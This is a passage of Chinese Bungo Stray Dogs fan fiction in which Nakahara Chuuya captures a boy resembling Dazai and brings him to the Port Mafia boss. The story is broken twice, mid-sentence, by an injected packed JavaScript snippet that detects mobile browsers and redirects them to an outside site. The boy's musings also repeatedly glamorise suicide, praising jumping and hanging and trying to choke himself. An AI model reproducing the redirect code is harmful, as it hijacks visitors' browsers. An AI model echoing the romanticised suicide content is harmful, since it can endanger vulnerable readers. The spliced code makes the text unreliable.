库房中央,不远处的椅子背对着自己的方向,一个成年人的背影赫然显现在面前,椅子前方似乎躺着一具尸体,以这个角度,几乎看不到那具尸体的头。 中原中也锐利的视线似乎一把利刃,能直接扎透那个坐在椅子上的身影般,他声音低沉,语气傲然:“喂,就是你敢与港口黑手党作对?” 有细微的声音从不知什么地方传出,那个人回答声音似乎慢半拍一样,因刻意放缓而显得有些温吞:“是又怎样?” 中原中也捏了捏拳头,冷笑道:“哦?这是找死的意思吗?” 细碎的声音还在响起,仍然慢半拍的回答:“你的异能很强大,我不认为你们会为我这种小组织而出动像你这样强大的异能者。我所要寻求的不过是一个原因罢了。” “因为你们在港口黑手党恰好很烦躁的时期挑衅了我们,这个理由怎么样?” 细碎的声音这次没有响起,这次回答的声音没有任何延迟:“我想要向您寻求一个谅解,我会为我的组织所犯下的罪行赎罪的,请求您原谅我曾做出的所有行径,放过我吧。” 中原中也漫不经心般扫视着周遭:“嗯,那我放过你了——” “以为我会这么说吗?” 中原中也的脸上突然浮现一种带着嘲讽的表情,他快步走近趴在地面上的几具尸体,一把揪着那个头几乎贴着地面的少年“尸体”的后衣领将其拎起,在拎起的过程中,那种熟悉感兀得翻涌,他语气阴沉:“你以为能骗过我吗?小…” “太宰治?!” 4. 跳楼的本质是一场自愿的摔倒 第一眼,中原中也以为自己目睹一个旧日的亡灵,黑色的魂魄。平静的,兴致缺缺的,有着一张称得上是熟悉的脸,内里永远带着深沉的死志,带着郁色的渴求着死亡。 他几乎瞬间死死捏紧对方的后衣领,面色阴沉地维持着拎起对方的姿势,这个小鬼的脚离地几厘米,神色恹恹地扫了他一眼,像根本不在意那个名字般,毫无解释的念头,耸拉着眼,一副死鱼模样。 简直一模一样。 甚至中原中也能意识到,自己的异能此刻被消除了一般无法使用,或者说就是无法使用——被人间失格所消除。 但这幅模样比起那个已经投奔敌方阵营的太宰治来说,年轻得可不是一点半点,甚至说不定比十五岁还要年轻。 中原中也最为熟悉的是十五岁到十八岁的太宰治,阴郁的自杀爱好者,与他相看两厌,每次话说到一半双方都得吵起来,最后结局通常像是面对面翻个白眼扭头回家漱嘴。即便不想这么说,但对方为数不多的精气神除了用来研究自杀方法以外,有时就是用在跟他吵架上。 他跟太宰治相看两厌简直是一种习性。这东西的起源可不是一两天,而是积压多年的,从当初第一面那个死小鬼的诅咒开始结下的梁子。 所以眼前这个场景还真稀奇啊,这算一个少见的,类似太宰治的那种生物比他矮的情形,以他的臂力,拎起来这小鬼跟拎只死鱼烂猫没什么区别。这确实是个适合回击太宰治的机会,如果不是他实在搞不清这个小鬼到底是什么情况的话。 那家伙的亲戚? 异能力的作用? 组合所安排的伪装? 这里是什么幻境吗? 又或者说——这小鬼是什么克隆体? ...... 种种解决不了的谜题让中原中也皱起眉头,这些过于繁琐的思考向来不是他的强项。见到一个长得跟太宰治这么像的小鬼,真是不知道该怎么形容此刻的感受。中原中也没有拎着对方的那只手几乎紧紧捏紧成拳。 算了,先打一顿。 他干脆由左手拎着对方后衣领改成拽着对方前衣领,右拳瞄准对方平静注视的脸用力挥出,裹挟着凌厉的风。 ——中原中也的拳头在将要触及津岛修治之时很好的顿住。 拳头裹挟的风恐吓一般的行径没有让对方露出丝毫怯色,即便不愿承认,但这幅模样与曾经他的那个搭档还是如出一辙,中原中也烦躁地松开捏紧的拳头,扯着对方衣领的手犹豫了一下还是选择了放松撤离。 得先请示首领才行,他一拳下去这小鬼估计真得死了。 在他即将掏出手机联系首领之前,面前这个小鬼突然呢喃了一句什么,中原中也没有听清,莫名奇妙地看向对方:“你说什么?” 依然微小的声音。 中原中也皱了皱眉,这家伙没吃饭吗:“大声点。” 津岛修治似乎深吸了一口气,以一种刻意放大过的音量大喊,险些震得中原中也掏手机的手一抖:“好粗暴哦!勒得我脖子痛了!肯定红肿了,说不定都要泛紫了啊!你这家伙懂不懂轻一点啊!!” 中原中也无意识地发出一个单音节:“哈?” 在反应过来后,中原中也无语道:“你这小鬼倒是搞清楚些现状啊,是我在掌握你的性命吧。” 他倒不至于跟一个说不定未满十五岁的小鬼争气吵起来,虽然这家伙长得像个太宰治似的。 “你这个浑身黑漆漆的家伙要杀就杀啊倒是!我要诅咒你这辈子都……哇啊啊啊!” 话语的最后还未讲完那刻,中原中也冷笑着揪着对方后衣领拎起对方,这小鬼力气比现在的太宰治还小,扑腾起来像条失误跃出水面的鱼,没准还没鱼有力气。 最后神色恹恹被勒着放弃挣扎。 中原中也心情姣好地用另一只空闲的手掏出手机。 实际上,早在面前浑身黑漆漆的家伙喊出那个名字的那刻,津岛修治便觉察了一些微妙,结合对方的神情与表现,一个结论兀然浮现在他脑海中:这个世界的自己,加入了港口黑手党。 就是不知道是过去式还是现在式了。 加入港口黑手党干什么呢?给自己无聊的生活找点事干?咦,这个倒是有可能,但黑手党里会有什么有意思的事吗?没接触过搞不懂啊,平行时空差异性?那家伙不会没有死掉吧? ……如果真是那样的话,那可真是太讨厌了。他神色恹恹地“被迫”维持被拎起的状态。 没错,虽然起先设想不是以这种被拎起的状态,但却阴差阳错达成了一个条件:人间失格能够使用的条件。 计划的首先,通过手机中的通信功能操纵小田守业维持表面上的平静,并与来人对话。其次,在尸体堆中故意发出细碎的声音吸引注意力,来人必然会发现这一点,然后接近,达到一种能够发动异能力的地步。然后,在椅子上的其实并不是此次计划主角小田君,而是——一具尸体,而小田君本人则是倒在椅子所能遮挡住的方位的那具“尸体”。 为了维持一种隐性神秘感,刻意将原本的光源都关闭或遮起,所以唯一的光源应该来自门后,虽然卷帘门被整个掀起这件事不在计划内,但门内与门外的光线必然有差别,倘若坐在椅子上的大角色一边对话一边看手机,手机的光便会暴露,那不是很掉价吗,所以任用尸体君担任大角色,而小田君,唔,保守起见其实还在他的头上蒙了一件衣服用来保证手机的光不会清晰,这种情况下,所发出的声音是会有些发闷的,这便是需要一点特殊因素吸引注意力的原因了,他把手机塞进了裤子口袋内通过盲打与小田守业沟通,细碎的声音便是这么诞生的。 至于最后的大喊与吵嚷——当然是为了在无法发出细碎的声音下掩盖一些动静了,而且为了让目的的达成率高一些他还选择了一个非常好的时机,在这个黑漆漆家伙单手掏出手机注意力集中在其上的时刻。 津岛修治的视线越过面前的中原中也,停留在不知何时颤抖着手举起枪的小田守业身上。他启唇,没有发出 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津岛修治平静地躺在地面上,被摔的那刻是货真价实与地面亲密接触,真是粗暴唔啊头好痛身体也痛脑子在用爆米花熬汤,懒得动了。 计划的失败倒是也在预料之中。 毕竟碍于情报的有限性,这个计划的一半基本全都是依靠于猜测。 他并不能肯定到来的只是一个异能者,而不是一支小队,同样,他也不能肯定自己的异能真的存在就是了。 哪怕在阴差阳错下以上条件全部满足,这个计划成功的可能性也早在黑漆漆那家伙疑似认识这个世界的他的那刻降为了零。 看来平行世界的异能力倒是相同的,黑漆漆家伙明显知晓他的异能力。 不过目的达到了就是。 小田君在他询问选择的那刻,颤抖着身躯声音几乎哭出来都硬要选择活,这个计划的目的可是基于那个而构建的啊,唔,接下来幸运的小田君估计得被送进港口黑手党拷问了吧,倒是达成了痛苦的存活结局。 真无聊啊。 无法理解。 中原中也在对待这个小鬼下意识套用了对待太宰治的态度。以至于后知后觉这小鬼虽然很像太宰治,令人火大的像太宰治,格外无比的像太宰治,但他现在还真没有一切都是这小鬼安排的证据。 他回头,发现那类似太宰治小鬼仍然安详地躺在地上,倘若不是胸腔的起伏说明了还在呼吸,那便像一具静静的尸体了。 中原中也收回了自己是不是失误给对方摔死了这个诡异的想法,控制了点力道用鞋碰了碰这小鬼的侧身:“你安排的?” 津岛修治平静中带着嫌弃地瞥了对方一眼权当回答,真是个讨厌的家伙。他神色恹恹平躺在地面上,疼痛感虽然略有过去但仍然怠惰于起身,所以说跳楼的时候一定要选择足够高的地点,不然只会空余疼痛吧,毕竟跳楼的本质就像是一场自愿的摔倒。唔,想的有些远了,所以说啊…… 都怪这个世界的自己,居然加入了港口黑手党。 5. 真想送佛送到西 中原中也没得到具体的回答,只得到一个状似嫌弃的眼神,他眉头几乎瞬间蹙起来。地上的小鬼神色恹恹,对他爱搭不理,看人像是注视着什么,却又像没在注视,总有种落不到实处的感觉,要说的话,就是……一片虚无? 真有当初那家伙的风范。中原中也干脆直接问道:“你跟太宰治那家伙有没有关系?” 太宰治。 这是第二次听到这个熟悉的名字了。 津岛修治面带厌倦地咀嚼着这个名字,眼底深沉的厌意几乎喷涌而出,最讨厌的事情果然发生了啊。 所谓的这个世界的他,不像成功拥抱了死亡的样子。 倘若他死亡,那么提起一个认识的死者的语调不该是这样。表世界的人们往往对死亡忌讳莫深,提起认识的逝者,便总要透露几分不自觉的怜悯,而里世界,即便对死亡习以为常,但倘若面对的是认识的死者,也总会有些许微妙的惋惜,或者其他情感,甚至哪怕是仇敌,在面对一个长相类似死者的少年,也会流露出什么。而那些他所期待的情感,对方提到这个名字的那刻没有体现分毫。 最糟糕的可能性,最恐怖的可能性:历经了八年,他仍然在无趣的世界存活着。一瞬间,不知是心理作用还是烧热的大脑为他的不在意而抱怨,从胃部涌起一种反胃感,在无趣的世界继续生活八年…… 想要死掉,现在、立刻。 所有世界的无趣性都是一致的,活着真的能有所谓的意义吗? 还是说你背叛了自我在这种无趣的世界苟活呢。 如果是这样的话,那可就太……讨厌了。 中原中也敏锐地觉察到什么般,他看向津岛修治,津岛修治死气沉沉,注视着头顶的墙面,沉默着一言不发,迫真进行一场尸体的扮演。 中原中也跟随着对方的视线,看了一眼头顶的墙面,确定不会突然冒出什么埋伏后再扫视遍周遭确认没什么怪异的地方后转移回来。 面对躺地上宛如一具静寂尸体的小鬼迟疑了一下,他还是好心把这小鬼拎着站起来,在确认对方能好好站好后他撤回了手。 ……真是莫名其妙的讨厌家伙。 津岛修治被迫中止思考,由尸体状态回归现实,他有气无力地站立在地面上,随后滑一般地像面条流动一样再次与地面接触,倒不是躺着了,他坐在了地面上,不顾身上这身新衣服在几番折腾下沾了一身尘土。 中原中也目睹全过程,嘴角抽了抽。津岛修治坐在地上,朝对方撇撇嘴,在对方面色不善的威胁下,并不怎么走心地回答了之前的问题,声音轻飘飘:“有没关系。” 哈,这是什么回答?挑衅吗这是? 港口黑手党的行事风格在里世界向来是黑暗恐怖的代名词,通过暴力手段的镇压,兼于几条经济线的支撑,成为横滨的暗夜执行人,对于敢于挑衅者,给予最简单的威胁与暴力行径。 虽然看上去很太宰治,回答也很太宰治,总之各方面都很太宰治。还是威胁一下试试看吧,万一有用呢,中原中也如此想着,随口道: “不好好回答问题的话就把你扔进横滨湾里。” 不过很遗憾的是,几乎所有的威胁面对太宰治那种生物都没什么用处,在对方不想装模作样回答时,再怎么威胁都无济于事。面前这个小鬼很显然也属于这一种生物。 “还有这种好事?不过今天不想溺水身亡,你可以现在就干脆杀了我吗。” 没有任何停顿,津岛修治在对方的问题结束的那刻便接上了回答。原本有气无力的状态似乎突然褪去一样,他平静地抬头,用一种与那种平静相匹配的冷漠注视着对方,像毫不在意这是一种对死亡的威胁一般,他的声音像死水一样没有起伏。 中原中也的卡壳就在一瞬间。 这种熟悉的哽塞感跟面对当初的搭档一模一样,他向来与太宰治谈不拢的原因就是这个了,中原中也是真的觉得活着挺好的,而太宰治不觉得。他跟太宰治像两个反面,哪怕当了搭档,经过几年磨砺有了对敌的默契也无法理解彼此。 起码他被这话卡住的时候只想给这小鬼一拳,送佛送到西。 然后他顿住。 中原中也可以在十五岁时把十五岁的太宰治踩在地上踹,也可以在十六岁给惹怒他的太宰治直击脸的一拳头,更可以在二十二岁给予二十二岁的太宰治腹部一记重击。但不能在二十二岁殴打一个看着明显十来岁的不知道跟太宰治有没有关系的少年。 这说出去太掉价了。 ……真的不能。重力使如此在心里复述,全当在安抚自己躁动的拳头。 目前尚且不清楚这小鬼到底什么身份,什么来历,又是否跟“组合”扯的上关系。 即便他知道这小鬼不是太宰治,但潜意识还是当太宰治处理了。 中原中也颇为头疼地试图从记忆里找寻一个能够制衡太宰治,呃不,类似太宰治的小鬼的方式。然后他迟疑地发现,太宰治似乎可以说基本没什么东西制衡,唯一有用的话……可能是什么自杀方式吧。 不过,要用什么无痛自杀方式诱骗的话,他可不是那种风格啊。 说起来,他是不是原本打算请示一下首领来着? 之前被这小鬼刻意打断了。 真要说的话,哪怕在人员众多的港口黑手党里,唯一能搞清楚这小鬼情况的,从这小鬼嘴里套话的,估计也只能是首领了吧。 当初中原中也见到太宰治时,太宰治已经长到十五岁,即便如此,人憎狗厌的性格在中原中也还未被对方坑进港口黑手党时便让他生不起好感,当初他们两人是真的见一面背地里都得说一句晦气。 后来加入港口黑手党跟太宰治搭档更是一种惨案,那个家伙总会在任务缝隙见缝插针进行一些自杀活动,而碍于首领命令,哪怕对这种莫名其妙行径再咬牙切齿,他还不能真让太宰治去死。 好在他们的搭档任务只在初期或者某些组织或人危及到港口黑手党的存亡时较多。到了后来,他的任务大多变成了单人,多数情况下都被定在海外,在国内的则是直接对某些组织进行袭击。而对比起来体术中下,异能无攻击性的太宰治多数情况担任布置行动的幕后主使。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505849|170473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在里世界,太宰治这个名字,也就是现在那个家伙叛逃后沉寂了四年才不至于像当年一样引起轩然大波,放在当年,估计是什么能止小孩夜啼的角色。咳,虽然有关中原中也的传闻现在也没好到哪去,但还是有明显不同的,毕竟中原中也有道德啊。 而太宰治没有。 以至于当初他突然回想起来首领与太宰治似乎早在十五岁之前就已经认识时,再看一眼眼前这个得不到他肯定回答便蔫下来有气无力发呆的少年。心里总有种,不愧是首领的微妙感,当初被太宰治折磨了那么久还是没有想给对方一拳的意思。 首领肯定能解决的。 中原中也如此说服了自己,掏出手机,内心微妙升起一点将要把麻烦脱手的喜悦。 首领的确是他所尊敬的人没错,但不代表他会在与对方相处时都紧绷着脸摆出一副恭敬顺从的态度,那也太拘谨了。 该选择打电话吗?这样对话会直接被那小鬼听到吧,犹豫瞬间,他给首领发去通信:首领,我见到了一个长得跟太宰那家伙一模一样的小鬼,看上去应该不到十五岁的样子…… 中原中也停顿了一下,扫过坐在地上若无其事给脖子缠绷带的小鬼… “等下,你哪来的绷带?” 津岛修治莫名其妙地扫了一眼对方,为这个问题缠绷带的手略有停顿,他困倦地眨眨眼,感觉对方智商不太好的样子,拉着刻意延长的腔调:“买来的啊。” ……还挺合理,要不是中原中也问的潜台词是什么时候拿来的话?放口袋里了吗这小鬼? 中原中也颇为无语地收回视线,在手机上补充上最后一句同时也是最重要的一点:他也有能无效化异能的能力。 倘若没有这种能力的话,中原中也早在对方以太宰治模样出现的那刻便杀死对方了,一个已经叛逃四年的家伙,甚至现在加入了另一个组织,却突然出现了一个比那家伙要年轻将近十年的版本,很明显的,要么是伪装要么是其他,会以为他会手下留情还真是谬误。但是这小鬼偏偏有这种能力,那就另当别论了。 无效化的异能始终是珍贵的存在,如果用首领以往的话来说那便是有时能扭转战局的关键,在港口黑手党的整体利益面前,不管这小鬼是什么亲戚实验体都要再等等,等——首领给出明确的指示。 到时候再杀死对方也很轻松,中原中也哪怕没有异能力,都是港口黑手党的体术大师,别说杀个小鬼,就是同时再杀个太宰治都没问题,啧,要不是之前被摆了一道…… 津岛修治心不在焉给自己被勒过的脖子缠着绷带,绷带是缠手腕没缠完的那卷,他在之前把绷带塞进了口袋里,在这刻便派上了用场,他使了些力气扯着绷带两端,遗憾地发现以自己的力气达不到能通过这种方式窒息的程度,几乎长嘁一声,心情不太好地打了个结便停下。 他扫了一眼拿着手机的中原中也,又无趣地偏移视线,看过地面上散落的尸体,与仍在晕厥的小田守业,随后再次无趣地回归在手腕缠着的绷带上,微不可闻地呢喃:真是的,麻烦的要来了啊。 6. 把大象放进冰箱需要三步 在横滨最好的市中心地带,静默的伫立着五栋大楼,高耸入云,犹如生长在地面上的五个尖锐的利爪,监视着横滨的一举一动。这五栋楼属于一个里世界与表世界都知晓的存在——港口黑手党。 那个恐怖的地下王国,却又何止是地下呢,有传闻政治与经济界皆有他们的人脉,名副其实的掌握了半个横滨,是那所谓的横滨的暗夜行刑人,同时,也是横滨的“黑夜”。 “黑夜”的黑暗当然并不只体现在外壳的黑色涂漆上,更多的则体现在内部森严的规矩条令,与那些残酷至极的手段,没人能在惹怒港口黑手党后全身而退,这是共有的认知。 而港口黑手党的首领——森鸥外,他所处的正是港口黑手党其中一栋楼的顶层办公室,办公室内巨大的落地窗几乎能显现出半个横滨的风景。而他坐在办公桌前,面前的手机停留通信界面,脸上说不出是带着何种情感,如果硬要形容的话,那只能是一种无感情的思考状态。 即便他精于计算,但是通信的内容确实出乎他的意料。 有着一头金色柔软长卷发,海一般蓝的眼睛,长相甜美的女孩子从办公椅后冒出,脚步轻快地凑近森鸥外,追随着他的视线看向手机发亮的屏幕:“是太宰吗?” 森鸥外柔和地看向爱丽丝,却苦恼般摇了摇头:“太宰君的动向仍然在武装侦探社呢。” 在“组合”将要来到日本的现在,港口黑手党与武装侦探社关系并不融洽—— 五大干部会议在之前才因太宰治寄来的信而召开,直属首领游击部队的芥川去执行任务结果反而受重伤归来,隶属暗杀部队的泉镜花更是接近叛逃状态。这可真是,他做首领可是很困难的啊。 至于太宰治的动向,只要对方在武装侦探社的话,很轻易就能探查到,在别的地方则是只要对方不想被找到,便不会留下任何痕迹,毕竟发明港口黑手党监视手段的还是对方啊。 对于这个旧日的下属,曾经身为“命运共同体”的学生来说,森鸥外可以明确地给予评价:他过分聪明,过分敏锐,哪怕在港口黑手党,那种深邃的黑暗都几乎没人能敌。 越是了解,越是忌惮,越是信任,越是猜忌,这些本就是无法割舍的“共同体”。 首领始终是组织的奴仆,他身处“黑夜”,身为首领,便是要从港口黑手党的根本利益出发,在损失最小化的同时,利益最大化。没办法,所谓的现实并不是一场零和游戏,他所要的不是恰好能够与利益相抵的损失,而是要超过损失的利益——就像他其实知晓太宰君没有篡位的念头,却还是设局利用对方的朋友获得异能许可证一般。 一个长相与太宰治一模一样的,还有着人间失格的少年,所可能的情况就多了……手机屏幕已经熄灭,森鸥外注视着自己交叉的双手,神色平静地在脑内条列种种可能性:少年的真实身份,接纳少年的好处,杀死少年的好处,以及何为最优解。 思考落幕的最后,他将双手分开,手放在手机屏幕上。反应森鸥外一部分思想的异能体少女提高音调,不满地扯着森鸥外的衣领:“那就见见对方嘛!林太郎总是思考的太多!” “好好好,爱丽丝宝贝,别扯,别扯,我在回复中也君的通信呢。” 森鸥外表现出一副对女孩束手无策的样子,柔声安抚着。手上却轻描淡写般在手机上打上回复,随后,按下发送。 是什么情况总要见一面才知道。 Mafia的本质便是合理运用一切来获得更大的利益,那么,这位年幼的“太宰君”会给他带来怎样的惊喜呢? ** “首领要见你。” 中原中也在看清手机来信内容后微微整理了一下头顶的帽子,语气带上些许严肃。 津岛修治仍旧坐在地面上,对于对方的话没有给予任何应有的表现,或惊异或恐惧,全然没有,有的只是一份意料之中的恹恹,他晃了晃仍在翻腾的大脑,模模糊糊拉长话语音调:“我难道有拒绝的权利?” “你在想什么?当然没有。” “哦。” 津岛修治撇撇嘴,在黑漆漆怪人对他仍然坐在地面毫无动作而恼怒前,手撑着地面慢悠悠站起来,拍了拍手上的灰,率先朝着外面的方向走去。 中原中也下意识要跟着那小鬼的脚步,在迈出两步后狐疑地回头扫视遍库房,总感觉遗忘了什么。碍于那小鬼完全没有等他的念头,几步就要窜出去了,他暂时把那种遗忘了什么的念头抛在身后,快走了几步颇为无语地跟上了那小鬼的脚步。 还是没忍住讽刺:“你这时候倒有精力了。” “嗯嗯嗯嗯。” 左耳进右耳出的敷衍架势,真是火大。 库房周遭与津岛修治来时的模样一致,啊,不过不远处有疑似港口黑手党的人,先无视无视。倘若带着这里是平行世界八年后的念头来审视,便会发现最大的差异其实来自于树,八年前的这一带树木应当比现在要矮上一些,这么说的话,其实库房的外层涂漆也能体现一点,真的是八年后哎,好激动哦! 其实完全没有。 津岛修治站在库房外,清新的空气与明亮的天空,他厌倦地注视着有所变化的世界,下一瞬厌倦便沉了下去。 他信然迈步朝东走,刚走出两步便被中原中也扯住后衣领,干什么啊这家伙! 津岛修治撇撇嘴,长嘁一声回头看向那家伙,中原中也忍无可忍,喊道:“港口黑手党在西边!” 哦,太阳从西边出来了。 中原中也作出了一个决定,他扯着这小鬼后衣领迫使对方后退着跟着前行,期间对方发出的抱怨他全当没听到。 在之前他是让下属们撤离没错,按照港口黑手党的规矩而言,应该会留下一队人负责后续扫尾——果然,在目睹他从库房内出来后,一队身着规整黑西装,扎着领带表情肃然的人从不远处走了过来。 中原中也拽着津岛修治的后衣领停下脚步,那一队人中的队长率先向他鞠躬,言语恭敬,只是眼神不自觉瞥过被拽着的少年:“中原干部,接下来有所指示吗?” 被拽着的津岛修治这时候倒没继续抱怨,他只是兴致缺缺低下头。 ...中原。 津岛修治意味不明地思考着这个有些熟悉的姓氏,似乎听过一次,在哪听到来着?之前的世界,不久前,港口黑手党,不对,小组织,没错,便利店?不是,街机店。被拦下来——哦,那句话,在那几个小鬼因为被他拒绝而恼怒转身离开时,其中一个小声嘀咕的那句:“这家伙真傲慢,要不要让中原教训他一顿?”似乎还有什么来着,渐渐走远的:“中也不会同意的,他最近谨慎得很,听说最近有什么武……” 「羊」,「羊」之王。 中原……中也。 在平行世界的八年后居然是加入了港口黑手党吗,该说意料之外还是之内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505850|170473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。「羊」那种小孩子家家的组织,控制不住这种战力也算情理之中,更何况那个组织本身对于所谓的首领也没有那种敬畏,上下阶层的秩序并不分明,分崩离析是必然结局。 就是不知道谁把这个讨人厌的家伙招揽进港口黑手党的了。 中原中也在吩咐完下属去收拾库房内的货物后突兀回想起什么,扫了一眼被他拽着后衣领不知道思索着什么的小鬼,补充了一嘴:“里面除了尸体应该还有一个能喘气的,我下手不重,把那个人带去刑讯部门。” 啊,意料之中。 要加油啊,小田君。 津岛修治没什么波动,像是毫不在乎几分钟前的那家伙还勉强能称一嘴他的下属一样,他只是心不在焉地在有限的自由长度内用脚踢着鞋底的石子玩,有限的自由长度特指不至于被那个黑漆漆怪人勒到脖子的程度。 虽然他绑了绷带,但勒还是勒啊,如果不能死的话,他又不怎么喜欢那种感觉。 唔,不过上吊那种自杀法,听说窒息到濒死的时候会很舒服来着,可能是一种会遗忘过往所有的感受吧,这么一说的话,之后可以试试哎。 现在还是算了。 中原中也原本打算继续这种姿势拽着那小鬼走去停车点,最终在这小鬼的强烈反对下还是作罢。 没办法,津岛修治甚至说出了:“我现在没有自杀的心情哦,或许再被那么粗暴一次就有了吧,带回我的尸体去向首领述职不太好,毕竟首领给你下达的命令应该是把活着的我带过去吧”这种话。 中原中也倒是没说其实你自杀在面对他的看守下也自杀不成那种话,他是有丰富的对太宰经验没错,但是能少一点事是一点,以他对这种类似太宰治生物的理解,哪怕是半小时的车程估计都能惹出不少麻烦。 中原中也在前面带路。 津岛修治这时没做妖,格外自觉地跟在中原中也的身后,打量着周遭,脚步轻飘飘,中原中也向后瞥了一眼,发现对方富有童趣的踩着他的影子前进,格外微妙的收回视线。 来到停车点,除却几辆样式规规矩矩的普通车辆外,最显目的是一辆款式新颖,样式独特,机型流畅自带美感的机车,格外酷炫。 那自然是中原中也的机车,他对这种东西的爱向来深厚,美酒,机车,典型男人的浪漫。不过碍于带着津岛修治这个小鬼,他只能跟对方一同坐在普通车辆里了。没办法,车里的司机只是港口黑手党的外部人员,放津岛修治一个人坐车,他怕这小鬼坐一半打开车门就要跳下去并声称刚刚感觉那种车速肯定能死掉——这种太宰治做过的事,不过当时被中原中也拦住了,听完了太宰治解释后,当时的中原中也真的很想再次给太宰治扔下去。 津岛修治在目及那辆格外酷炫的机车时小声哇了一下,中原中也敏锐地捕捉到了那个声音,瞬间,身为人的虚荣心被填满,他不自在地轻咳一声,几乎要露出一个笑来。 然后他就听到那小鬼小声说:“炸起来肯定很好看。” 笑容就是这么消失的。 …… 忍住。 这虽然是很像太宰治,但是是个小鬼。 忍住。 ..... 中原中也忍无可忍,开门,拎起津岛修治一把塞到一旁的车后座上,关门,一气呵成,用行动证明不仅把大象放进冰箱只需要三步,把类似太宰治的小鬼放进车里也只要三步。 7. 绚烂美丽的死法 车辆平缓的行驶增生一种困意,津岛修治神色恹恹地与突兀到来的困意抵抗,并取得了险些倒头就睡的好成绩。没办法的嘛,烧热的大脑意识到了此时的环境很适合休息,于是就开始催促快点闭眼休息—— 连打开车门自杀都没兴致尝试了,不过这个感觉死亡率有点低啊,而且说不定会蹭得很疼,想想都快难以呼吸了。 仔细一想,呼吸着的每一天都在接近死亡。 所以暂时不尝试自杀,也是一种自杀吧,那种速度很缓慢的类型? 那也太慢了吧! ......眼,眼睁不开了,哇啊啊,昨天睡没睡来着,唔,忘记了,熬夜打游戏机了吗?咦,忘了,啊,感觉自己在成为一个即将爆炸的热水袋,好糟糕嘛。 好想死嘛。 不想睡啊! 格外跳脱性地放空大脑,津岛修治发出几声抱怨般的音节,一头撞上前排座椅。 中原中也原本正在侧头看着窗外,被津岛修治发出的声音震得一惊,他猛地侧头看过来,发现那小鬼整个头埋在座椅靠背上,蓬松的黑色发丝下垂下来几乎挡住半张脸,察觉他的视线,厌倦地抬起头看了他一眼,然后挪开,慢吞吞继续埋下去。 ……这是什么态度?! 中原中也嘴角抽搐。 不过这小鬼安静下来的话...虽然很想说出安静下来不太像太宰治了那种话,但实际上安静下来还是很像。他不清楚太宰治是否有那种同父同母的亲兄弟,只是或许兄弟的身份都没这个少年与太宰治相似。 ……港口黑手党没人知道太宰治的过去,不会真是亲戚吧,中原中也狐疑地猜想。 驶入市中心地带时,车辆鸣笛声,人群熙攘声,市井的气息让津岛修治从那种昏沉的状态惊醒,他把埋着的头从座椅上拔出来,看向窗外,困倦地收集些信息。 这条街的话……多了十家电子产品专卖店,嗯嗯要投资的话看来可以选择这个了呢,虽然没有这种念头。银行关闭一家,游戏厅多开两家,宠物店则还是原本那家,啧,这方面的差距居然不大,明明都已经过去八年了!明明只是平行世界而已!招牌居然还是那只看着像在笑的秋田犬,每次看到都感觉被嘲讽了!真是的,最讨厌狗了嘛! 这条路上当然并不止这些值得关注,远方的五座高耸的大厦映入眼帘,黑色的涂漆恰似伫立在市中心的恶兽…啊,真够威风啊,他的世界里港口黑手党的规模倒还没到这种地步,毕竟那个新首领也才上任半年左右,规矩的制定还处于逐步完善期,也是他刚来到这里听到小田君对港口黑手党忌惮那么深,便察觉一部分不对的原因了。 车慢慢行驶,慢慢逼近,那几栋恶兽的利爪逐渐清晰,放大,直至抵达,等等,近看的话这几栋建筑……哇,哇,哇! 度过港口黑手党门口的安检,上交完一系列身上的物品后。车速逐渐降低,趋近停止,津岛修治没等待车停稳,便格外欢快地拉开门窜了出去,一时没拉住他的中原中也喂了一声,慢他一步从另一侧下门。 万幸的是津岛修治没有逃跑的念头,即便有也做不到就是了。 津岛修治只是仰起头,身处最底端向上望去,像是望不到顶端一般,他满怀敬畏地发出几声感叹,眼神像是包含某种期待与向往。中原中也慢他一步下来,不耐烦地发现这小鬼被什么吸引视线,眼神甚至都在发亮,还挺恶心的,他顺着对方的视线向上看:除了楼,什么都看不到啊? 中原中也皱皱眉:“你在看什么?” 津岛修治眼神亮晶晶,少年真的心情愉悦一样,用欢快的腔调回答:“从最顶层跳下来的话,一定是种绚烂美丽的死法。” 中原中也沉默。 中原中也强迫自己心平气和:他早该知道的。 ** 在太宰治叛逃的四年时间里,港口黑手党的成员有进有出,对于部分人而言,这并不算个适合长久的职业,即便有着堪称丰厚的利益,但是踏入里世界,无异于走在高空中的钢索上,时时都有坠落的可能性。而另一部分人,则是因为要追求什么而奋身投入,金钱,美酒,追求,其他,人就是这种会为一个念头而不惜燃烧性命的存在。 这四年新进的成员只是诧异:中原干部为什么拽着一个小鬼朝着直达首领办公室的电梯走去。而那些当真经历些什么的人,在看清那个少年的那刻便难掩惊愕,恐惧如影随形,那几乎被遗忘的记忆翻涌上来,几乎惊恐地看着那个身影,直到—— 对上那双鸢色的眼,被无感情的注视了一瞬间。 对于太宰的敌人来说,最不幸的便是他们的敌人是太宰。 津岛修治移开注视对方的眼,被中原中也拽着后衣领拽进电梯。从那个家伙的表现里可以推测出许多,他们两个站在电梯里,电梯门缓缓闭合,中原中也松开了他的衣领。 津岛修治平静地想:原来如此啊,加入港口黑手党是过去式。 啊啊……烂摊子。 讨厌的家伙,还没有死成。 烂摊子。 津岛修治扁嘴,电梯内部只有直达最顶层的选项,比较独特的是这种电梯是玻璃电梯,随着升高,玻璃外的地面逐渐远离,便像是处在云端一般,这个高度……肯定可以! 